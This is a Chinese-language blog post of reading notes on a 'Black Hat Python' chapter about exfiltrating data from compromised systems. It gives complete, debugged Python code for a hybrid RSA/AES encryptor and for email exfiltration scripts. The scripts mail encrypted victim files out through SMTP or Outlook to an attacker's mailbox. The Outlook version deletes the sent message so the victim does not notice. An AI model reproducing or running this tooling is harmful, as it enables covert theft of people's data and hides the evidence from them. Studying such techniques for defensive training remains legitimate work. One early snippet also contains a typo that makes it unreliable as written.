黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第九章 过滤数据(1)加解密文件 & 通过电子邮件过滤数据
文章目录
写在前面
获得对目标网络的访问只是战斗的一部分。为了利用我们的访问权限,我们希望能够从目标系统中过滤出文档、电子表格或其他数据。根据防御机制的不同,我们的最后一部分攻击可能很棘手。可能有本地或远程系统(或两者的组合)用于验证打开远程连接的进程,并确定这些进程是否能够在内部网络之外发送信息或发起连接。
在本章中,我们将创建工具,使我们能够过滤加密数据。首先,我们将编写一个脚本来加密和解密文件。然后,我们将使用该脚本加密信息,并使用三种方法将其从系统传输:电子邮件、文件传输和向web服务器发布。对于这些方法中的每一种,我们都将编写一个独立于平台的工具和一个仅限Windows的工具。
对于仅限Windows的函数,我们将依赖于第8章中使用的PyWin32库,尤其是win32com包。Windows COM(组件对象模型)自动化有许多实际用途,从与基于网络的服务交互到将Microsoft Excel电子表格嵌入到我们自己的应用程序中。从XP开始的所有Windows版本都允许我们将Internet Explorer COM对象嵌入应用程序中,我们将在本章中利用这一功能。
加解密文件
我们将使用PyCryptoDomeX包执行加密任务。我们可以使用以下命令安装它:
$ pip install pycryptodomex
现在,创建并打开cryptor.py脚本,并导入开始时需要的库:
from Cryptodome.Cipher import AES, PKCS1_OAEP
from Cryptodome.PublicKey import RSA
from Cryptodome.Random import get_random_bytes
from io import BytesIO
import base64
import zlib
我们将创建一个混合加密过程,使用对称和非对称加密来实现这两个世界的最佳效果。AES密码是对称加密的一个例子:它被称为对称,因为它使用一个密钥进行加密和解密。它速度非常快,可以处理大量文本。这就是我们将用来加密我们想要过滤的信息的加密方法。我们还导入了使用公钥/私钥技术的非对称RSA密码。它依赖一个密钥进行加密(通常是公钥),另一个密钥用于解密(通常是私钥)。我们将使用此密码对AES加密中使用的单个密钥进行加密。非对称加密非常适合于少量信息,使其非常适合加密AES密钥。这种使用两种类型加密的方法称为混合系统,非常常见。例如,浏览器和web服务器之间的TLS通信涉及一个混合系统。
generate函数
在开始加密或解密之前,我们需要为非对称RSA加密创建公钥和私钥。也就是说,我们需要创建一个RSA密钥生成函数。让我们从向cryptor.py添加一个generate函数开始:
def generate():
new_key = RSA.generate(2048)
private_key = new_key.exportKey()
public_key = new_key.pubickey().exportKey()
with open('key.pri', 'wb') as f:
f.write(private_key)
with open('key.pub', 'wb') as f:
f.write(public_key)
没错,Python是如此的糟糕,以至于我们可以在几行代码中做到这一点。此代码块输出一个公/私钥对,放在名为key.pri和key.pub的文件中。
get_rsa_cipher函数
现在,让我们创建一个小的支撑函数,以便我们可以获取公钥或私钥:
def get_rsa_cipher(keytype):
with open(f'key.{keytype}') as f:
key = f.read()
rsakey = RSA.importKey(key)
return (PKCS1_OAEP.new(rsakey), rsakey.size_in_bytes())
我们将密钥类型(pub或pri)传递给这个函数,读取相应的文件,并返回密码对象和RSA密钥的字节大小。
encrypt函数
既然我们已经生成了两个密钥,并且有一个函数可以从生成的密钥返回RSA密码,那么让我们继续加密数据:
def encrypt(plaintext):
compressed_text = zlib.compress(plaintext)
session_key = get_random_bytes(16)
cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(compressed_text)
cipher_rsa, _ = get_rsa_cipher('pub')
encrypted_session_key = cipher_rsa.encrypt(session_key)
msg_payload = encrypted_session_key + cipher_aes.nonce + tag + ciphertext
encrypted = base64.encodebytes(msg_payload)
return(encrypted)
我们将明文作为字节传递并压缩。然后,我们生成一个用于AES密码的随机会话密钥,并使用该密码对压缩的明文进行加密。既然信息已加密,我们需要将会话密钥作为返回有效载荷的一部分,连同密文本身一起传递,以便在另一端解密。为了添加会话密钥,我们使用生成的RSA公钥密钥对其进行加密。我们将解密所需的所有信息放入一个有效载荷中,对其进行base64编码,并返回得到的加密字符串。
decrypt函数
现在让我们构建解密函数:
def decrypt(encrypted):
encrypted_bytes = BytesIO(base64.decodebytes(encrypted))
cipher_rsa, keysize_in_bytes = get_rsa_cipher('pri')
encrypted_session_key = encrypted_bytes.read(keysize_in_bytes)
nonce = encrypted_bytes.read(16)
tag = encrypted_bytes.read(16)
ciphertext = encrypted_bytes.read()
session_key = cipher_rsa.decrypt(encrypted_session_key)
cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
decrypted = cipher_aes.decrypt_and_verify(ciphertext, tag)
plaintext = zlib.decompress(decrypted)
return plaintext
为了解密,我们将加密函数的步骤颠倒过来。首先,我们用base64将字符串解码为字节。然后,我们从加密的字节串中读取加密的会话密钥以及其他需要解密的参数。我们使用RSA私钥解密会话密钥,并使用该密钥用AES算法解密消息本身。最后,我们将其解压缩为明文字节字符串并返回。
main函数
接下来的这个主块可以方便地测试相关功能:
if __name__ == '__main__':
plaintext = b'hey there you.'
print(decrypt(encrypt(plaintext)))
生成密钥后,我们对一个小字节字符串进行加密和解密,然后打印结果。
牛刀小试
为了测试验证一下真实的效果,我将main模块的代码修改成如下所示的形式,先打印原始文本,然后打印加密后的密文,然后在打印从密文解密出的文本,看是不是跟原始文本一致。
if __name__ == '__main__':
generate()
plaintext = b'hey there you.'
print(f'the plain text is : {plaintext}')
encrypted_text = encrypt(plaintext)
print(f'the encrypted plain text is :\n {encrypted_text}')
print(f'the decrypted plain text is :\n {decrypt(encrypted_text)}')
整体运行一下,效果如下图。
附上源代码
from Cryptodome.Cipher import AES, PKCS1_OAEP
from Cryptodome.PublicKey import RSA
from Cryptodome.Random import get_random_bytes
from io import BytesIO
import base64
import zlib
def generate():
new_key = RSA.generate(2048)
private_key = new_key.exportKey()
public_key = new_key.publickey().exportKey()
with open('key.pri', 'wb') as f:
f.write(private_key)
f.close()
with open('key.pub', 'wb') as f:
f.write(public_key)
f.close()
def get_rsa_cipher(keytype):
with open(f'key.{keytype}') as f:
key = f.read()
f.close()
rsakey = RSA.importKey(key)
return (PKCS1_OAEP.new(rsakey), rsakey.size_in_bytes())
def encrypt(plaintext):
compressed_text = zlib.compress(plaintext)
session_key = get_random_bytes(16)
cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(compressed_text)
cipher_rsa, _ = get_rsa_cipher('pub')
encrypted_session_key = cipher_rsa.encrypt(session_key)
msg_payload = encrypted_session_key + cipher_aes.nonce + tag + ciphertext
encrypted = base64.encodebytes(msg_payload)
return(encrypted)
def decrypt(encrypted):
encrypted_bytes = BytesIO(base64.decodebytes(encrypted))
cipher_rsa, keysize_in_bytes = get_rsa_cipher('pri')
encrypted_session_key = encrypted_bytes.read(keysize_in_bytes)
nonce = encrypted_bytes.read(16)
tag = encrypted_bytes.read(16)
ciphertext = encrypted_bytes.read()
session_key = cipher_rsa.decrypt(encrypted_session_key)
cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
decrypted = cipher_aes.decrypt_and_verify(ciphertext, tag)
plaintext = zlib.decompress(decrypted)
return plaintext
if __name__ == '__main__':
generate()
plaintext = b'hey there you.'
print(f'the plain text is : {plaintext}')
encrypted_text = encrypt(plaintext)
print(f'the encrypted plain text is :\n {encrypted_text}')
print(f'the decrypted plain text is :\n {decrypt(encrypted_text)}')
通过电子邮件过滤数据
现在我们可以轻松地加密和解密信息,让我们编写一些方法来偷偷传出我们加密的信息。
email_exfil.py脚本
创建并打开email_exfil.py脚本,我们将使用它通过电子邮件发送加密后的信息:
import smtplib
import time
import win32com.client
smtp_server = 'smtp.example.com'
smtp_port = 587
smtp_acct = 'tim@example.com'
smtp_password = 'seKret'
tgt_accts = ['tim@elsewhere.com']
首先,我们导入smptlib,这是跨平台电子邮件功能所需的。我们将使用win32com包来编写Windows特定的函数。要使用SMTP电子邮件客户端,我们需要连接到SMTP服务器(如果您有gmail帐户,则可能是SMTP.gmail.com),因此我们指定服务器的名称、接受连接的端口、帐户名和帐户密码。
plain_email函数
接下来,让我们编写独立于平台的函数plain_email:
def plain_email(subject, contents):
message = f'Subject: {subject}\nFrom {smtp_acct}\n'
message += f'To: {tgt_accts}\n\n{contents.decode()}'
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_acct, smtp_password)
# server.set_debuglevel(1)
server.sendmail(smtp_acct, tgt_accts, message)
time.sleep(1)
server.quit()
该函数将主题和内容作为输入,然后形成包含SMTP服务器数据和消息内容的消息。主题将是受害者计算机上包含内容的文件的名称。内容将是加密函数返回的加密字符串。为了增加保密性,您可以发送加密字符串作为消息的主题。
接下来,我们连接到服务器并使用帐户名和密码登录。然后我们调用sendmail方法,其中包含我们的帐户信息,以及将邮件发送到的目标帐户,最后是消息本身。如果函数有任何问题,可以设置debuglevel属性,以便在控制台上查看连接信息。
windows下的邮件过滤
现在,让我们编写一个特定于Windows的函数来执行相同的技术:
def outlook(subject, contents):
outlook = win32com.client.Dispatch("Outlook.Application")
message = outlook.CreateItem(0)
message.DeleteAfterSubmit = True
message.Subject = subject
message.Body = contents.decode()
message.To = tgt_accts[0]
message.Send()
outlook函数采用与plain_email函数相同的参数:subject和contents。我们使用win32com包创建Outlook应用程序的实例,确保提交后立即删除电子邮件。这可确保受损计算机上的用户不会在“已发送邮件”和“已删除邮件”文件夹中看到过滤邮件。接下来,我们填充邮件主题、正文和目标电子邮件地址,并发送电子邮件。
在主块中,我们调用plain_email函数来完成该功能的简单测试:
if __name__ == '__main__':
plain_email('test2 message', 'attack at dawn.')
使用这些函数将加密文件发送到攻击者计算机后,我们就可以打开电子邮件客户端,选择邮件,然后将其复制并粘贴到新文件中。然后,我们可以读取该文件并使用cryptor.py中的解密函数对其进行解密。
小试牛刀
这里的代码运行很简单,不再赘述,但是需要注意下面两点。
说明:
(1) 上述代码中,不管是linux下还是windows下,都会报str‘ object has no attribute ‘decode‘. Did you mean: ‘encode‘? 的错误。需要在调用contents.decode()之前,先转bytes(contents = contents.encode(‘utf-8’))。
(2) 另外,在windows下运行时,首先要保证windows下已经安装并配置好了outlook,运行时直接使用outlook中配置好的账号自动发送。
源代码
修改以后的可执行代码如下。
import smtplib
import time
# Comment the following line when running in linux
import win32com.client
smtp_server = '<your smtp server>'
smtp_port = <your smtp port>
smtp_acct = '<your account>'
smtp_password = '<your passwd>'
tgt_accts = ['<your another email address>']
def plain_email(subject, contents):
message = f'Subject: {subject}\nFrom {smtp_acct}\n'
contents = contents.encode('utf-8')
message += f'To: {tgt_accts}\n\n{contents.decode()}'
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_acct, smtp_password)
# server.set_debuglevel(1)
server.sendmail(smtp_acct, tgt_accts, message)
time.sleep(1)
server.quit()
def outlook(subject, contents):
outlook = win32com.client.Dispatch("Outlook.Application")
message = outlook.CreateItem(0)
message.DeleteAfterSubmit = True
message.Subject = subject
contents = contents.encode('utf-8')
message.Body = contents.decode()
message.To = tgt_accts[0]
message.Send()
if __name__ == '__main__':
# Comment the following line when running in windows
plain_email('test2 message', 'attack at dawn.')
# Comment the following line when running in linux
outlook('test22 message', 'attack at2 dawn.')